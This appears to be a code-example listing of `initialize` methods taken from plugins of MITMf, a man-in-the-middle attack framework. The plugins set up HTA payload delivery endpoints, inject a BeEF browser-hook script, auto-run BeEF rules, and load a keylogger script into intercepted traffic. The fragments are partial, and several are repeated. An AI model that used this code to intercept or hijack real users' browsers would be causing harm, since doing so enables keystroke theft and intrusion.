Example #1
0
    def initialize(self, options):
        self.bar_text = options.text
        self.ip = options.ip
        self.hta = options.hta_app.split('/')[-1]
        Inject.initialize(self, options)
        self.html_payload = self.get_payload()

        from core.servers.HTTP import HTTP
        HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app)
Example #2
0
    def initialize(self, options):
        self.bar_text = options.text
        self.ip = options.ip
        self.hta = options.hta_app.split('/')[-1]
        Inject.initialize(self, options)
        self.html_payload = self.get_payload()

        from core.servers.HTTP import HTTP
        HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app)
Example #3
0
    def initialize(self, options):
        self.bar_text = options.text
        self.ip = options.ip
        Inject.initialize(self, options)
        self.html_payload = self.get_payload()

        from core.servers.http.HTTPserver import HTTPserver
        def hta_request(path):
            if path == options.hta_app.split('/')[-1]:
                with open(options.hta_app) as hta_file:
                    resp = flask.Response(hta_file.read())

                resp.headers['Content-Type'] = "application/hta"
                return resp

        HTTPserver().add_endpoint(hta_request)
Example #4
0
    def initialize(self, options):
        self.bar_text = options.text
        self.ip = options.ip
        Inject.initialize(self, options)
        self.html_payload = self.get_payload()

        from core.servers.http.HTTPserver import HTTPserver

        def hta_request(path):
            if path == options.hta_app.split('/')[-1]:
                with open(options.hta_app) as hta_file:
                    resp = flask.Response(hta_file.read())

                resp.headers['Content-Type'] = "application/hta"
                return resp

        HTTPserver().add_endpoint(hta_request)
Example #5
0
    def initialize(self, options):
        self.options    = options
        self.ip_address = options.ip
        beefconfig = self.config['MITMf']['BeEF']

        Inject.initialize(self, options)
        self.js_url = 'http://{}:{}/hook.js'.format(options.ip , ['port'])

        beefconfig = self.config['MITMf']['BeEF']

        from core.utils import shutdown
        beef = BeefAPI({"host": beefconfig['host'], "port": beefconfig['port']})
        if not beef.login(beefconfig['user'], beefconfig['pass']):
            shutdown("[BeEFAutorun] Error logging in to BeEF!")

        self.tree_info.append('Starting RuleWatcher')
        RuleWatcher(beef, self.log).start()
Example #6
0
    def initialize(self, options):
        self.options = options
        self.ip_address = options.ip
        beefconfig = self.config["MITMf"]["BeEF"]

        Inject.initialize(self, options)
        self.js_url = "http://{}:{}/hook.js".format(options.ip, ["port"])

        beefconfig = self.config["MITMf"]["BeEF"]

        from core.utils import shutdown

        beef = BeefAPI({"host": beefconfig["host"], "port": beefconfig["port"]})
        if not beef.login(beefconfig["user"], beefconfig["pass"]):
            shutdown("[BeEFAutorun] Error logging in to BeEF!")

        self.tree_info.append("Starting RuleWatcher")
        RuleWatcher(beef, self.log).start()
Example #7
0
 def initialize(self, options):
     Inject.initialize(self, options)
     self.js_file = "./core/javascript/msfkeylogger.js"
Example #8
0
 def initialize(self, options):
     self.ip = options.ip
     Inject.initialize(self, options)
     self.html_payload = self._get_data()
Example #9
0
 def initialize(self, options):
     Inject.initialize(self, options)
     self.js_file = "./core/javascript/msfkeylogger.js"
Example #10
0
 def initialize(self, options):
     Inject.initialize(self, options)
     self.interval = options.interval
     self.js_payload = self.get_payload()
Example #11
0
 def initialize(self, options):
     self.ip = options.ip
     Inject.initialize(self, options)
     self.html_payload = self._get_data()
Example #12
0
 def initialize(self, options):
     Inject.initialize(self, options)
     self.js_file = "./core/javascript/plugindetect.js"
     self.output = {}  # so other plugins can access the results